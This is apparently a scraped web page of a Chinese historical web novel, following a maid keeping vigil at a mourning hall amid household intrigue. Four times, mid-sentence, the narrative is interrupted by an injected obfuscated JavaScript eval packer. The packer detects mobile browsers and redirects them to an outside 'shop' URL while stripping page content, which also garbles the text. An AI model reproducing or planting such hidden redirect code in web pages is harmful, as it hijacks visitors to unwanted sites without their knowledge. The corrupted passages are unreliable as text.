她是娇养的美人，素日里爱悲春伤秋，偶尔瞥见落花也要怔怔叹上几句。 大少爷喜她貌美，两人早就偷摸成事，见她伤怀不是哄就是怜。 这会儿大少爷不在，身边只连珠这个呆愣愣的，就看着她抹泪，一句安慰都没有。 玉露悲从中来，哭得更厉害了。 连珠听兰儿说起过玉露，成日地腻在大少爷跟前。想来，她到静修斋并非全是院里丫鬟看不惯她的缘故。 大夫人袁英华为人争强好胜，她主持中馈，谢府由她话事。二房的秦如月出生高过她不假，可命数不好；三房的王素波不过是典簿之女，在她面前自是说不上话。 妯娌间她是说一不二的头一份，唯有嫡子谢坤的功名路，成了她的心口刺。 为着谢坤的学问，老爷一直对她没个好脸。十八岁的男儿，连个秀才都没考上，说出去都叫她没有脸面。 她不怪谢坤贪玩，只怨那起子狐媚妖精勾得谢坤只顾享乐。 故而借着由头，她便将松风苑里搅得最厉害的玉露一杆子支到了静修斋，算是杀鸡儆猴。 连珠想，自己恐怕也是被杀的那只鸡。 上次请大夫，她有意摔倒闹出动静引了老爷注意，不管演得是否逼真，大夫人恐怕都在心里记了一笔。 连珠长舒一口气，觉得有些头痛。 “别哭了，天暗了，你再这样一哭，瘆得慌。”连珠不劝她，知道她这个性子劝也劝不住。 她这一吓，玉露果然立时止住了哭声。 白灯笼阴森森的，那素幡簌簌地发出令人胆寒的声音，玉露浑身一抖，挽住连珠的手臂自觉地往西边的屋子里去。 西边两间房都是通铺，靠里的一间已经铺满了被褥。在松风苑玉露住得是单间，瞧见这恶劣的环境，眼眶瞬间又红了。 屋里已经有几个丫鬟或收拾或休息，瞧着年纪比她们都要大上一些。 其中一个穿晴山蓝短袄的丫鬟，听见玉露哽咽，可不惯着她，飞了眼刀过来道：“若有眼泪留到灵前去，咱们这屋里还没死人呢！” 松风苑的丫鬟虽然勾心斗角，但玉露也没被人指着脸面骂过，她两行清泪下落，却被连珠一把拉到了靠门的炕边。 “你可带了薄荷脑油？” 连珠突然发问，这般打岔倒让玉露忘了哭，她擤擤鼻子问：“带这个做什么？” “守灵添灯，一待就是一整晚，不用这个，若是在灵前睡着了怎么办？”连珠说着塞了个瓷罐放进玉露手里，“这个给你，里头不光有薄荷，还加了冰片、苍术，你闻闻。” 连珠看她掀开盖子忘了落泪，也是松了口气。 总算是不哭了。 见状，连珠拆了自己的包袱，把东西一一归置。 来静修斋帮忙，她倒不像玉露那般绝望。左右都是在谢府里做活，不过就是累不累的差别。 她想到临行前，谢培心虚垂眸不敢看她，也是大可不必。 人手调配本是常事，她对谢培尽心不假，但那也只是为自己安心。 他是主子，她是丫鬟，还是个一心要出府的丫鬟，所以她也并不介意谢培不敢忤逆大夫人，同意让她过来。 连珠收拾好衣服，又铺了被条，算算差不多到了时间，跟着屋里众人一齐出门到院里石阶旁排好。 人齐之后，喜和嬷嬷便站到阶上，手里拿了簿册，一一点了名字看视。 册子上丫鬟共三十七人，小厮二十八人，喜和嬷嬷点了名字分作三个班。三班各管上香添油、监收祭礼、领饭端茶，每个班里又再分派差事。 连珠分到守灵添油的活，除了每隔三日要熬夜守灵外，静修斋所需的灯油蜡烛，也得她计算了支取。 喜和嬷嬷安排完，又敲打几句让领活的领活，休息的休息，各自散了。 玉露分到的是亲戚客人端茶送饭的活，她看了眼连珠，颇为怜悯：“你可真惨。” 她这话倒也没错，当晚守夜的任务就落到连珠的头上。这守灵不比在院里值夜，时不时能打个瞌睡，熬人得很。 她们这班的管事姓许，原先在酒窖管酒水，为人有些怯弱。她不知手下丫鬟的根脚，生怕得罪了人，便把无人愿意干的活分给了年纪最小的连珠和溪青。 夜来风凉，又要孤身守在棺材前，想想都发憷。 连珠倒不怕，前世接连送走儿子、夫君，这守灵也不是头一遭了。 静修斋设的灵堂，规整丰厚，两盏长明灯的火苗在棺前幽幽地晃。 溪青年幼，穿着葱白的短袄跪在蒲团上瑟瑟发抖：“姐姐，会不会有鬼啊？” “你哪里听来的，这明晃晃的，怎么会有鬼呢？”连珠拍拍她的肩，察觉她还是缩着肩膀发抖，便又指着棺前那对长明灯，“老话说，灯稳则魂安，你瞧是不是？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092445|195488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 溪青听她如此说，心中稍定，也点头道：“是了，二夫人很和善的。” 连珠接过她的话头：“这样好的人，便是成了仙客，也只会保佑诚心送她的人。你替她守灵，她要谢你的。” 两人低声说着话，谢垚从外边走了进来，一身粗麻丧服晃出青白的影。 溪青赶紧行礼，连珠也随即跟上。 只是谢垚看也未看，径直走到灵前跪下。 连珠她们跪的地方同谢垚之间还隔着三丈之距，其间白幡素绸层叠飘荡，溪青偷偷告诉连珠：“这两日，二少爷每晚都来跪着，谁劝也不走。” 连珠想起云心阁那日，少年躬身喂药，不过短短几月已是物是人非。 外头有风漏进，浮动素绸，连珠瞧见跪着的那人身形更显清减。长明灯的火苗又晃了晃，将谢垚的影子投在奠字帷幔上，拉得很长，空落落的。 又跪了一个时辰，溪青在旁边小鸡啄米般地睡了过去。 左右无事，连珠也不叫她，只是嗅了一口薄荷脑油，精神振奋后又盘算起日后来。 房里上锁的匣内有三两六钱，三两是范荣儿怕她吃亏，从家带来的，六钱则是这几个月攒下的月例。 过了年她就十四，总得在十八之前就赎身出府。 她打听过了，谢府的丫鬟年岁大了想离府嫁人的，只要主子点头同意，也是平常事。自己是家生子，这赎身的银子要高些，约莫三十两也就够了。 光靠月钱来攒肯定不够，还得再另挣些。 赎身之后，她还想着要给谦哥儿报仇，那仇人远在京城，一路上花销不说，就是买凶的钱恐怕就不下百两。 她是看开了，上辈子求告无门，成安侯夫人见她可怜，让丫鬟偷摸递了话。那纨绔在兵部寻了关系，一番运作，已是将故意杀人转而定为聚众斗殴，失手致死。罪责都让随扈担了，他是半点罪都不用受。 连珠是不指望再能告倒他，不若让那仇人一命换一命来得痛快。 想到这里，连珠忽然听到窗边传来两声轻响，抬头就见那儿露出个方脸圆眼睛的脑袋。 这小厮看着面熟，连珠起身开了半扇门，就见人抱着个小铜壶朝自己跑来。 “连珠姐姐，夜里寒气重，这姜茶还热着，你拿了去喝。” 连珠知道他们这些小厮也分了几班要巡夜，露天在外走着更冷，大家伙一起凑钱叫大厨房熬些热茶热汤也是有的。 她说了谢，又要拿钱给他，却见他连连摆手怎么可不肯收：“不用不用，不过一碗红糖姜茶。” 连珠看他梗着脖子，满脸透红，只好道：“那便谢谢你了。对了，忘了问，你叫什么？” “冬生...我叫冬生。” 冬生见连珠压根没记住他的名，心头一阵失落，不消片刻，他又调理好自己，赶紧将自己的名字说了两遍。 他看连珠嘴角拈笑，叫了自己的名字，又谢一回。方才寒夜里透骨的冷散得干干净净，一股热气从胸口满溢出来。 谁说来静修斋是吃苦的，他觉着倒是挺甜的。 12. 为人子的本分 那壶姜茶，连珠喝了一半，身上暖和起来，剩下的给溪青留着。 又过了一刻，她跪得腿脚发麻，又觉得房中好似暗了一些。 连珠拿着铜剪走向灵堂一侧，那排白烛已烧得参差。烛泪滴成小山，最末那支的火苗缩得只剩豆大一点。 她踮脚剪去焦黑的烛芯，火舌噗地窜高，屋内火光微闪。 等烛心剪完，又要去添长明灯的桐油，只是一转身就见谢垚已经起身立在长明灯前。 桐油添满，素白的衣袖半卷着，露出清瘦的一截手腕，正执铜签拨弄灯芯。 夜风转急，一扇窗户并未关紧，谢垚侧身挡了挡风势，生怕那灯灭了。素麻外袍被风灌满，又落回脊背上，像是振翅欲飞的孤鹤。 连珠见状，放了手里的剪子，赶紧将所有的窗户都一一关紧，又从案底拿了个软垫。 屋内复又亮起来，谢垚重新跪回蒲团时，膝下触感忽地一软。 他动作微滞，垂眼看去，那粗蒲团上不知何时多了个烟色软垫。 熬了一夜。 连珠头脑发昏，眼底泛着乌青。 身旁的溪青睡了半夜，最后已经将头搁在她的肩上。等天光放亮，院内脚步声急，叫她陡然一惊睁开双眼。 “我...我没睡，我没睡。”溪青迷迷糊糊，下意识就替自己辩解，顺便还抹了一把嘴角的口水。 “别慌，你醒的正是时候，还没来交班呢！” 溪青长舒一口气，还是有些后怕，懊恼道：“我怎么就睡着了。” 她正是贪睡的时候，这几日忙里忙外压根没歇过，哪里能不困。连珠安慰道：“没人知道，睡就睡了。来，揉揉脸，清醒些，别叫人看出来。” 两人话音刚落，门外便传来窸窣的脚步声，许嬷嬷领着两个丫鬟推门进来，看了眼燃得齐整的香烛，又见铜盆里纸灰堆得匀净，露了点笑意。 “到时辰了，你们回去歇着吧。” 连珠与溪青依礼退下。 走出灵堂时，天边已透出蟹壳青的晨光。 连珠眼皮沉沉发坠，回了西边的耳房，脱了外衣外裤，略一洗漱，裹着被子挨了枕头就睡去。 傍晚时分，谢培在绕道静修斋。 他说是要来给婶娘上香，但自己心里隐隐却知，他是想来看看连珠。 晨起，他醒来张口就唤连珠，无人应声才想起自己许了她去静修斋帮忙。 在院里静坐一日，他也是无心读书，时而想她临走来告别，时而又想她在新地方适不适应，总觉得要见上一面才安心。 谢培在灵前上了三炷香，不见连珠，又出门四下去看，等了一阵才见连珠抱着一捧香烛从矮墙那边走来。 她今日换了素净的丧服，行走间身姿显得格外单薄。 谢培忽地觉得心口被狠撞了一下，迎上前去。 “连珠。” 连珠见他，也是意外，才要抱着香烛躬身行礼就被谢培拦了下来。 一庭香雪瘦影孤，谢培看她面容憔悴，眼底的青灰，开口声音便涩了：“你受苦了。” 连珠摇头，笑而不答，反而道：“兰儿她们虽尽心，但毕竟年纪小，许多事情难免疏漏。三少爷，你身子才好，自己也要注意。” 谢培闻言鼻头一皱，别开脸，去盯地上交叠在一起的影：“好。” 他又道：“你不必担心我，等这儿的事毕，你就回去。” 之后两日，晚上不必守夜，连珠只白日里支取香灯，做些杂事。虽是杂事，但这边厢要帮忙，那处又要搭一把手，来回折返，也是颇为劳碌。 等到做七那日车轿往来，迎送亲友，更是忙得脚不沾地。 二老爷谢湛也终于从京城赶到延洲，迟了整整七日。 灵堂前，父子相见，谢垚既不行礼也不问安，连看他的眼神都欠奉。 这般冷漠不孝，叫谢湛人前尴尬。 燃香祭拜，谢湛伸手欲抚棺木，又长叹一声，垂下手来。 兄弟寒暄，旧友交谈，谢湛一盏茶后才脱身行到静修斋后头的小舍。舍里堆放香烛纸钱，几难找到下脚的地方，谢湛合门转头瞧见谢垚背身站着，又是一声叹息。 “垚儿...” 谢垚是他的独子，三岁识千字，五岁背唐诗，人人都道他谢湛一个武夫生出个在世文曲星。 他惯他宠他，要星星不给月亮。 谁知会到今日这个地步。 谢垚语带讥讽：“父亲一路辛苦。” “为父在任上实在脱不开身...” “玉柯身子羸弱，也提前赶到延州和母亲过最后一个团圆年。父亲究竟是公务缠身，还是俗事缠身？”谢垚骤然回身，疾言厉色，眼眶却是红的。 谢湛闻言脸色突变，不知他究竟何意。 只是被点到要害处，他恼羞成怒，再不温言以待，而是连名带姓喊他：“谢垚！不得乎亲，不可以为人！你这般同你父亲说话，可有半分为人子的本分？” 谢湛尤嫌不足，声音却沉下来生怕外人听见：“你娘生前最重规矩，是谁教的你...” 谢垚不待他说完，已是仰面轻笑出声：“娘亲？你有何脸面提她！她药石难医时你不在身侧，弥留之际亦不在身边。父亲问我为人子的本分，那您为人夫的本分又在何处？” 三两句话将谢湛批得一无是处，他的脸色由红转白，嘴唇哆嗦，手指颤抖地指向谢垚：“你...逆子，逆子！” 他再难忍住，扬手朝着谢垚脸上掴了一巴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092446|195488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掌，眼见他苍白的面颊鼓起几道红痕。 谢湛从未打过这个儿子，心里涌出一丝怜意，只是想到方才他那些忤逆之举，那丝怜意又被压了下去。 “这一巴掌，您该在七日前，母亲尚未合眼时打。” 谢湛没料到他还敢驳嘴，气得浑身发抖，吐出“孽障”两个字，一甩衣袖，猛推了房门，像是落荒而去。 房门被推得狠了，撞到墙上又弹回来，兀自晃荡。 穿堂风卷着香灰扑到谢垚的脸上，叫他猝不及防地呛咳起来。 剧烈的，仿佛要吐出五脏六腑。 他弓起脊背，俯身下去，咳得喉头泛甜，咳得眼角盈泪。 许久，那股难言的悲痛随着泪流尽，谢垚抹了一把眼角，准备起身，余光却瞥见堆着的箱笼金山后头露出的一点鞋尖。 那是一只蚌肉白绣菊花的绣鞋，是连珠年前自己新做的。 头七正日，僧佛在灵前默诵接引诸咒，香烛纸钱比往日消耗更快。连珠拿了册子去取祭品，才刚在屋内点上数，就听见有人进来。 她原没打算藏着，可刚要出声就听见谢湛开口。 父子间私下谈话，若此刻出去，怕是不好。思及此处，连珠干脆紧掩口鼻，在箱笼后头隐了下来。 偏这般不巧，谢垚伏下身子，恰好瞧见她的绣鞋。想到方才同父亲的争执、自己的脆弱都落在旁人眼里，他余怒未消。 “谁！” 连珠闻声心下一沉，屋内虽暗，但实难找到个藏身的地方，只得抱着香烛纸钱从纸扎金山后走出。 她垂首福身，没有抬眼，手中的物什挡在脸前，瞧不真切。 谢垚两步上前，劈手将那整摞纸钱打散在地，纸钱轻薄，洋洋洒洒飘飞半空，白茫茫地像落了一场雪。 谢垚一眼认出她是清月阁的那个丫头，他依旧面色幽沉，语气不善。 “谁准你进来的。” “奴婢是奉命来拿灵堂要用的香烛纸钱。”连珠既不辩驳，也没求饶，同谢培落水那日一般模样。 她本打算领罚，等了半晌，却只听见往外的脚步声。 房门吱呀，谢垚在廊檐下静立片刻，冲动之后胸中激荡的那股气仍旧难散，他却不想将这气撒在连珠身上。 娘亲尚在病中，便被他抓到蛛丝马迹。父亲同其他女子蝇营狗苟，他心中亦是混乱，对父亲、对今后的惶惑。 他忽而想起母亲叫他怜惜谢培，说他失母无依，不知是否也是在说他自己。 谢垚闭了闭眼，吐出积聚在心口的一团浊气，转身要往灵堂去。 廊檐下的支摘窗开着，他眼角余光正好看见屋内跪地拾钱的连珠。 一张、两张...捡起的纸钱在膝头拢作一叠。 13. 兰香豆蓉糕 头七之后，静修斋渐渐闲了下来，也不必再守灵添灯。 日子匆匆过去，倒没什么不同，除了从前跟在老夫人身边的锦绣姑娘因连珠做事老实，对她颇为看重。就只有溪青成日跟着连珠进进出出，愈发依赖。 等走了几个丫鬟，溪青又抱着被褥搬到了连珠旁边睡。 玉露见了有些吃味，噘嘴道：“你同她这么好，等四十九日棺椁下葬，难道你就不回京了？” 溪青没想过这个，突然听她提起，小脸垮下来闷闷不乐。 连珠摸摸溪青的头，对着玉露道：“她还小，你跟她叫什么劲？” 玉露哼了一声，扭头去理腕上的珠链，也不理两人。 她这几日情绪不高，为的就是回了各院的丫鬟名单里没她。紫薇庭的慧心算个什么东西，不过跟了个不得宠的姨娘，竟也能提前回去。人人都同她过不去，等她回了大少爷身边，定要将这欺了她的人都狠告一状，要她们好看！ 玉露不提，溪青却还记着：“连珠姐姐，我虽去了京城，但还是会记着你的。若你来了京城，我就带你到处去玩！” 玉露没回头，又怼道：“小小丫头，好大的口气。” 溪青闻言委屈，冲着连珠认真道：“连珠姐姐，我没骗你。” “好，我若是去了京城一定去找溪青。”说到京城，连珠就想到了害死自己儿子的仇家，她忍不住要问，“溪青，你在京中久了，可知道光禄寺丞尤大人？” “什么光禄寺丞暗禄寺丞的，溪青没有听过呢。” 玉露背身竖着耳朵听两人闲聊，她平生最恨蠢人，闻言恼道：“笨死了，光禄寺丞是官名，这也不知道。” 骂过溪青，她又撇撇嘴：“不过是个小官，你问这个做什么？” 连珠语塞，想到那害了她全家的仇人就乱了方寸，是病急乱投医，只道是随口问问，又岔开话题，说起京城里时兴的衣裳花样。 这个溪青倒略懂一些，说起去岁开始，京里女子时兴在衣裳的脖颈至肩头，模仿天衣制出披子①。说完衣裳，又说首饰，直说到要分派饭菜才停了下来。 连珠管的是下人们的饭菜，每日由大厨房推了车送来，再由她来分拨安排。 放完饭菜，连珠脱了围裙到檐下的水桶洗手。 一双手搓得通红，她甩了手帕擦手，就听矮墙那边池塘后头的沙土路上传来唆唆脚步声。 连珠透过墙上的扇形洞窗朝那处看去，就见谢培大步过来，脸上分明带着笑意。 连珠奇怪，过了正月，家塾又开了课，这会儿刚过正午，谢培怎么就回府了。 “连珠，你来。”谢培隔着矮墙，在窗那头朝她招手，从怀里摸出个牛皮纸包。 纸包温热，还冒着丝丝香气，正面盖了海棠纹的红章子，一瞧那花样就知是出自城中老铺酥山楼。 酥山楼的糕点，一出炉便遭人哄抢，要买到得提前半个时辰去排队。连珠在松风苑翻地的时候，沾光吃过一回。玫瑰茯苓的口味，甜而不腻，确实好吃。松风苑的大丫鬟金茗告诉她这玫瑰茯苓糕还罢了，若是他家的招牌糕点，就是有钱都难买到。 谢培隔着洞窗将那个纸包递到连珠怀里，说道：“是酥山楼的兰香豆蓉糕，刚出炉还热着。” “三少爷今日不上学？”连珠抬眼细看谢培，这孩子似乎又长高些，青竹似的抽条，叫她不能像之前低眉看他。 谢培闻言有些心虚，他下意识想说谎，却又私心想叫她明白心意。 “我把这糕点送来，就回去。” 连珠一愣，又想起谦哥儿从前下学时也会藏块糕饼回来，塞她手里，调皮地笑着说一声：“娘先吃。” 鬼使神差地，连珠抬起手，忽然想摸摸谢培的脸，像是抚摸谦哥儿一般。 可手伸到半空，凉风扑面，猛然顿住。 她糊涂了。 她是奴，他是主，这逾矩的动作若被人瞧见那还了得。即便不被人看见，要是起了误会，自己也解释不清。 她倏地收回手，将指尖蜷进掌心，却被谢培一把抓住。 那力道很重，像是怕她挣开。在连珠惊愕的目光中，他将她微凉的手掌按上自己的面颊。 掌心贴近，谢培觉得脸颊上那一小块肌肤在隐隐发烫。 一如他滚烫的心。 只一瞬，连珠赶紧将手收回。她是将谢培当做了谦哥儿的母子之情，却怕谢培生出了别样的心思。 可她凝眸看去，谢培面上一派自然，似乎刚刚的触碰不过意外。 连珠放下心来。 是了，他才十三的年纪，懂得什么情爱，怕不是和溪青一样，只是依赖罢了。 纸包里的兰香豆蓉糕一共八块，连珠分了溪青两块，又留了两块给玉露。 嫩豆绿的糕点，松松软软入口即化，豆蓉内馅独带一股香气，怪道这是酥山楼的招牌。 连珠也吃了两块，倒是顶饿，等天擦黑去派饭时，腹中仍不觉得饥饿。 只是等她派完下人的晚饭，还不见玉露的人影。 给二少爷的食盒仍旧在案上放着。 东厢房里还未点灯。 连珠轻叩半开的门扉，里头无人应声。 她轻声进去，借着窗外一点天光，将食盒里四碟素菜并一盅老汤在八仙桌上布好。 连珠拿了火折将桌上灯点了，又转身去点门边的铜胎嵌掐丝珐琅的灯笼。烛火燃起，灯罩还没盖上，就瞥见谢垚不知何时走到门边。 比起前几日他脸色又白了一些，人瘦得好像在风中晃了两晃。 “二少爷。”连珠放好灯罩，屈膝行礼。 谢垚看她，也记得她是见过几面的那个丫头，略一点头，进了屋里。 饭菜半凉，谢垚没什么胃口，只是看着那扶门要走的连珠，想起午后所见心间微动，开口问道：“兰香豆蓉糕...味道可好？” 连珠闻言，那往外跨的右脚差点被门槛绊了一跤。 不是...自己下午才得了谢培的糕点，这么巧就叫他看见了？那三少爷拉了她的手，是不是也让他看见了？ 她思虑一二，想着谢垚既然没提，也当没发生过那事，旋即恢复镇定，朝着他行礼道：“兰香豆蓉糕奴婢那儿正巧还有几块，是三少爷今日晌午赏的。若是二少爷不嫌弃，我这就去拿来。” 谢垚没开口，连珠却心领神会，提了裙角去拿糕点。 四块浅碧色的豆蓉糕，在碟子里码得整整齐齐。 谢垚想起娘亲在京城时常提起延州的这个糕点，甜香软糯，听来嘴馋。 这次回来，娘亲也说起一回这兰香豆蓉糕，大夫说和药性相冲，便碰不得了。 他记得自己说：“等娘好了，儿子去买。” 一等就是现在。 豆蓉糕在口中化开，他却已经尝不出甜了。 连珠送了糕点，快步出了屋子。但只要想到午后同谢培攀谈极有可能被二少爷瞧见，心中就惴惴难安。 她从前在宫中做事一贯谨慎，也不知是不是出宫久了，竟将这点小心尽数忘了。 不该的。 她一心要做的事还没成，万不可行差踏错。 胡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092447|195488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乱想着，她饭也没吃，回了屋里，只见溪青一人。 “连珠姐姐，你怎么才来，先前有人偷摸分肉干吃，这会儿人都散了。” “不是说静修斋不让进荤腥，哪来的肉干？”连珠被她一打岔，将豆蓉糕的事先放在一边。 溪青摇摇头：“我也不知，听说今日喜和嬷嬷不在，下头人就胆子大了。” 谢府富贵，便是丫鬟寻常三五日也能吃几餐荤腥。来了静修斋差不多半个月肚里都不进油水，不少人都偷摸着让人从外头带吃的进来。丸子、肉干...不拘什么，多少尝个味道。 连珠不馋肉，看了看旁边空着的床位，又问：“玉露呢？” “下午就不见玉露姐姐，不知她去哪儿了。” 玉露这两日常不见人，就是在也不耐心做事，心不在焉地不知想些什么。 等收拾完灵前的火烛，又洒扫一遍再回了屋里，仍不见玉露的影子，连珠心中暗觉不好。 她和溪青洗了脸上床睡觉，房门却被推开了。 两个嬷嬷往门里一站，呵斥着让屋里的丫鬟们穿衣起来，接着又赶到了院里。 院里青砖地上早跪了个人，连珠识得，是隔壁屋住的，叫丹芳。 她只穿一件单薄中衣，天寒地冻得瑟瑟发抖。 喜和嬷嬷如第一日一般，站在阶上居高临下，面寒如水。 那丹芳连连叩头，眼里涌出两行热泪，可怜地朝上问道：“喜和嬷嬷，不知奴婢犯了什么错？请嬷嬷给奴婢一个机会。” 喜和见她死到临头还不肯认，冷声问：“做七那日，领银子买车轿络子，你报得什么数？” 丹芳一听，面色煞白，闭口不敢言。 “好，先打十板子，让她醒醒神，长长记性！” 一旁两个膀大腰圆的嬷嬷扯着丹芳让她趴下，一时间鬼哭狼嚎。 溪青站在连珠身侧，听得身子直抖，余光又瞥见先前去叫他们的嬷嬷在屋里翻检，心中更是惊惧。 等打完十板子，那丹芳已是满面泪水，双目无神。 “你可记起了？若是还记不得，就再挨十板子，总有你记得的时候。” 丹芳连连摇头，不敢嘴硬：“嬷嬷饶了我吧，我错了，再也不敢了。” “十两敢报二十两，他日你就敢报二百两！谢府容不得你，拖下去！”喜和冷冷看她，压根不予她机会。 在屋里搜检的嬷嬷也拿了东西出来，花簪香囊、肉干零嘴摆了一地。 喜和环顾院中低头发抖的众人，目光如刀般凌冽：“来日就同你们说过静修斋的规矩，不得打扮，不得食荤，你们当是耳旁风么！在谢府伺候，就要守府里的规矩，别得了便宜就不知自己几斤几两...” 她说着，又让众人一一指认那地上的东西，拿了香囊的掌嘴十下，吃了肉干的掌嘴二十。 所有人不敢说话，院里只听见噼啪的巴掌声。 等喜和嬷嬷领人走了，所有人才死里逃生般地躲回屋里。 溪青虽未挨巴掌，但缩进被窝仍抖得厉害。她从前跟着二夫人，哪里见过这些。她悄悄握了连珠的手，听她说一句没事，才稍显心安。 她不知，连珠其实心中亦是大骇。 今朝那糕点显些酿出大祸，要留在房中撞到暮香堂的喜和嬷嬷手里，说不得就要借机大作文章。到时，不止是自己，怕是谢培都要连累。 她几次见谢垚，知他通情达理，又对谢培多加照拂，想来应该不会说出去。 幸好。 幸好，谢垚将它要了去。 ①云肩雏形 14. 情真意切 夜里一通打杀，静修斋的丫鬟规矩老实不少，第二日晨起都比往日早了一刻。 连珠掀开被子，身边玉露的被褥半点没动过，冷冰冰的。 房中自有那好奇的，可一想到昨夜丹芳那凄惨的叫声，就把那点疑问又咽了回去。 等到吃过早饭，外头才传来消息，玉露犯了大错，被打发去了城郊的庄子。 房里一丫头听了小厮墙角唠嗑，回头私下就学给了众人。 “说是在假山后头，当场就被抓住了，衣衫不整，奶/都露出半个，全让人瞧了去！” “科考在即，她敢勾引大少爷，夫人岂能放过她。” “我一早看出她是个不安分的，就这么几日都离不开爷们。” 这话说得糙，对玉露满是恶意，叫连珠听来不由皱眉。玉露虽爱使小性，但人心不算坏。 男女之事，哪有女子一人情愿就能成事的？若大少爷无心，便是玉露有通天的本事，又如何近得了身？ 如今一个被送去庄子，生死不知。另一个仍是金尊玉贵的少爷，好吃好喝，半点罪过没受。 当真只是玉露一个人的错？ 由来女子最为辛苦，这女人的命又分三等。一等人生在锦绣堆里，二等人生在寻常户里，最末等便是生在贫贱处，又偏偏卖身为奴。 她不敢于人前替玉露辩驳，又见有嬷嬷将玉露留在房里的东西尽数收走，好似全无这个人一般，心中不由得悲凉。 真的是离宫太久，忘了贵人从来不是好伺候的。 她当宫女的时候，跟了个好主，被庇佑着没受什么风浪，这些深宅大院又有哪一处不是镀了金身的修罗场。 主子一时兴起能扶你上青云，自然也能踩你入泥潭。 她之前做了那些事，自忖玲珑剔透，不叫人看出半分破绽。却忘了自己生死也不过主子一念之间，哪里非要看出什么破绽。 经此一事，连珠行事愈加仔细，不敢有所疏漏。 眨眼要到出殡之日，袁英华分派料理一干琐事，打祭送殡筹划整肃。送葬的队伍浩荡如青龙，棺椁之前，秦如月的一双子女摔丧驾灵，还未出府门，已是一片哭嚎哀悼之声。 连珠并不跟着送殡，只到了府门口哭过便回了静修斋，跟着众人将灵堂里堆积如山的纸扎、经幡一一清点归置。 诵经的和尚散了，做法事的道士也收了法器，静修斋一下空了竟叫人有些不习惯。 到了夜里阖府享宴，敬谢宾客，更是无人来管她们这些丫鬟。 连珠吃了半碗萝箙面，身上热乎乎的，洗涮了碗筷出门放回大厨房送来的筐里，就见冬生在院门那边探头探脑。 冬生也一眼瞧见连珠，眸子立时亮了：“连珠姐姐！” “冬生？” 冬生见院里没人，两步跨了进来，从怀里摸出包炒得焦香的栗子：“姐姐，才出锅的栗子，喷香热乎，你拿着吃。” 连珠只拿了一颗，问道：“这时候哪里来的栗子？” “窖里藏的，石头的姐姐在大厨房做事，今日大厨房炒了些栗子，多的就便宜我们了。”冬生说着，又把栗子往连珠面前递了递，“姐姐多拿些，常在你身后跟进跟出的那个小丫头呢？也给她拿些。” 这段时间静修斋的伙食清淡，她们不比小厮能时常到府外走动，打打牙祭。这会儿只是一颗栗子，吃着也觉得香甜。 “那多谢了。”丧事毕了，静修斋也不比之前管得严厉，虽说如此，连珠也不敢贪多，只抓了几颗给溪青尝鲜。 冬生送完栗子，也舍不得走，仍蹲坐在连珠身边，随口又找了个话题闲聊：“这儿事了了，姐姐可是要回原先的院子？” 连珠也不知道。 前段时间，谢培又来找她，说是马上就要县试。 连珠经历那次抄检，不敢同谢培多说，只是之后连夜缝了个书包唤兰儿来给谢培带了回去。 也不知他考得如何。 又过两日，调到静修斋帮手的丫鬟陆续回去，就是二房的丫头也回了云心阁住，只白日里来巡看一二。溪青倒是趁着空闲，常来找她说话。 可夜里又只剩连珠一人，好像被忘在这里。 喜和嬷嬷几日不露面，连珠就是想问也找不到人。 不过送殡之后，待在静修斋比在清月阁还要闲些。扫地擦桌，夜里检视门窗，连珠感觉将前些时候忙得亏损的身子又补了回来。 这夜，她将院门关了，提灯回房才想起房中的烛火昨夜用尽，上报领了火烛，也没送来。 “难不成今夜要摸黑睡觉？” 连珠想了想，之前灵堂那边还有些未用完的香烛，倒不如先拿来顶上。 月色很浓，洒了一层清辉。 门一开，静修斋的青砖地上就透出光来。连珠绕到后头，在桌案下拖出个篮子，里头放着没用完的香烛灯盏，还有个烟色软垫。 连珠将那软垫放在桌上，翻出两支白蜡烛，她才刚收进怀里，就听房门吱呀一声在寂静夜里荡开。 没有风，谁开了门？< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092448|195488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 连珠背脊倏地僵了，她不信鬼神，但毕竟夜深无人，就算不是毛贼，遇上个发情乱性的野猫，被抓上一条也不是好玩的。 